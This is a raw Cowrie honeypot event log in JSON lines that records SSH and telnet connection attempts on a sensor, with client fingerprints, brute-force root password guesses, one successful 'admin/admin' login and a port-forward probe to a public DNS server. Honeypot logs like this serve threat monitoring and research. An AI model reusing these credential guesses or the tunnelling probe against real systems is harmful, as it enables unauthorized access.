{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59408,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b5d3c10f7d","protocol":"telnet","message":"New connection: 128.199.8.54:59408 (159.203.135.109:23) [session: b1b5d3c10f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:06:56.497102Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":54368,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c5b3aa4b35","protocol":"ssh","message":"New connection: 87.251.79.125:54368 (159.203.135.109:22) [session: a4c5b3aa4b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:04.451997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:04.457332Z","src_ip":"87.251.79.125","session":"a4c5b3aa4b35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:04.531263Z","src_ip":"87.251.79.125","session":"a4c5b3aa4b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkx6fih711","message":"login attempt [root/dkx6fih711] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:04.735807Z","src_ip":"87.251.79.125","session":"a4c5b3aa4b35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35354,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc2b8eea179","protocol":"telnet","message":"New connection: 172.81.62.90:35354 (159.203.135.109:23) [session: 5cc2b8eea179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:05.203323Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:05.806362Z","src_ip":"87.251.79.125","session":"a4c5b3aa4b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.01867294311523,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:13.304671Z","src_ip":"172.81.62.90","session":"3097df3b11ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.243752241134644,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:14.992566Z","src_ip":"172.81.62.90","session":"25478e3f7953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.77476906776428,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:29.232825Z","src_ip":"128.199.8.54","session":"cc754e15f106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51106,"dst_ip":"159.203.135.109","dst_port":23,"session":"978751fa6a72","protocol":"telnet","message":"New connection: 107.6.151.170:51106 (159.203.135.109:23) [session: 978751fa6a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:36.002838Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57112,"dst_ip":"159.203.135.109","dst_port":23,"session":"9338b32b8f83","protocol":"telnet","message":"New connection: 107.6.151.170:57112 (159.203.135.109:23) [session: 9338b32b8f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:39.037404Z"}
{"eventid":"cowrie.session.closed","duration":36.54114389419556,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:41.744338Z","src_ip":"172.81.62.90","session":"5cc2b8eea179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36926,"dst_ip":"159.203.135.109","dst_port":23,"session":"75dd3e69f311","protocol":"telnet","message":"New connection: 107.6.151.170:36926 (159.203.135.109:23) [session: 75dd3e69f311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:44.077312Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":51206,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa410451773b","protocol":"telnet","message":"New connection: 103.249.87.183:51206 (159.203.135.109:23) [session: aa410451773b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:46.243128Z"}
{"eventid":"cowrie.session.closed","duration":49.81515121459961,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:46.312102Z","src_ip":"128.199.8.54","session":"b1b5d3c10f7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":53682,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ada17594be2","protocol":"ssh","message":"New connection: 103.176.20.57:53682 (159.203.135.109:22) [session: 3ada17594be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:47.021974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:47.027802Z","src_ip":"103.176.20.57","session":"3ada17594be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:47.275898Z","src_ip":"103.176.20.57","session":"3ada17594be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3452","message":"login attempt [root/3452] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:48.027383Z","src_ip":"103.176.20.57","session":"3ada17594be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:07:49.281849Z","src_ip":"103.176.20.57","session":"3ada17594be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.859199047088623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:08:07.861915Z","src_ip":"107.6.151.170","session":"978751fa6a72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.55366778373718,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:08:11.590902Z","src_ip":"107.6.151.170","session":"9338b32b8f83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76732873916626,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:08:17.844325Z","src_ip":"107.6.151.170","session":"75dd3e69f311","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.720280170440674,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:08:19.963295Z","src_ip":"103.249.87.183","session":"aa410451773b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58752,"dst_ip":"159.203.135.109","dst_port":23,"session":"aca692558674","protocol":"telnet","message":"New connection: 107.6.151.170:58752 (159.203.135.109:23) [session: aca692558674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:08:24.722905Z"}
{"eventid":"cowrie.session.closed","duration":30.887184143066406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:08:55.609996Z","src_ip":"107.6.151.170","session":"aca692558674","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49470,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a33263df3b0","protocol":"telnet","message":"New connection: 172.81.62.90:49470 (159.203.135.109:23) [session: 9a33263df3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:09:00.378113Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49482,"dst_ip":"159.203.135.109","dst_port":23,"session":"2554ab34aa67","protocol":"telnet","message":"New connection: 172.81.62.90:49482 (159.203.135.109:23) [session: 2554ab34aa67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:09:02.817811Z"}
{"eventid":"cowrie.session.closed","duration":37.07206177711487,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:09:37.450040Z","src_ip":"172.81.62.90","session":"9a33263df3b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2684326171875,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:09:39.086121Z","src_ip":"172.81.62.90","session":"2554ab34aa67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61248,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb4e7681b9fb","protocol":"ssh","message":"New connection: 87.251.64.176:61248 (10.17.0.5:22) [session: eb4e7681b9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:21.772044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:21.776646Z","src_ip":"87.251.64.176","session":"eb4e7681b9fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:21.871066Z","src_ip":"87.251.64.176","session":"eb4e7681b9fb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:22.155347Z","src_ip":"87.251.64.176","session":"eb4e7681b9fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:22.251271Z","session":"eb4e7681b9fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:22.347045Z","src_ip":"87.251.64.176","session":"eb4e7681b9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:22.443368Z","src_ip":"87.251.64.176","session":"eb4e7681b9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":53706,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf1a28d6eb2e","protocol":"ssh","message":"New connection: 103.77.175.15:53706 (10.17.0.5:22) [session: cf1a28d6eb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:48.245340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:48.249367Z","src_ip":"103.77.175.15","session":"cf1a28d6eb2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:48.499347Z","src_ip":"103.77.175.15","session":"cf1a28d6eb2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10091989","message":"login attempt [root/10091989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:49.251315Z","src_ip":"103.77.175.15","session":"cf1a28d6eb2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:11:50.503227Z","src_ip":"103.77.175.15","session":"cf1a28d6eb2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":19457,"dst_ip":"159.203.135.109","dst_port":22,"session":"00aefab6e36b","protocol":"ssh","message":"New connection: 178.20.210.208:19457 (159.203.135.109:22) [session: 00aefab6e36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:12:23.477443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:12:23.483048Z","src_ip":"178.20.210.208","session":"00aefab6e36b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:12:23.584619Z","src_ip":"178.20.210.208","session":"00aefab6e36b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazZAQ!","message":"login attempt [root/1qazZAQ!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:12:23.987278Z","src_ip":"178.20.210.208","session":"00aefab6e36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:12:25.091718Z","src_ip":"178.20.210.208","session":"00aefab6e36b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23510,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb8dbcd00bcf","protocol":"ssh","message":"New connection: 194.59.206.2:23510 (10.17.0.5:22) [session: fb8dbcd00bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:19.491331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:19.495625Z","src_ip":"194.59.206.2","session":"fb8dbcd00bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-s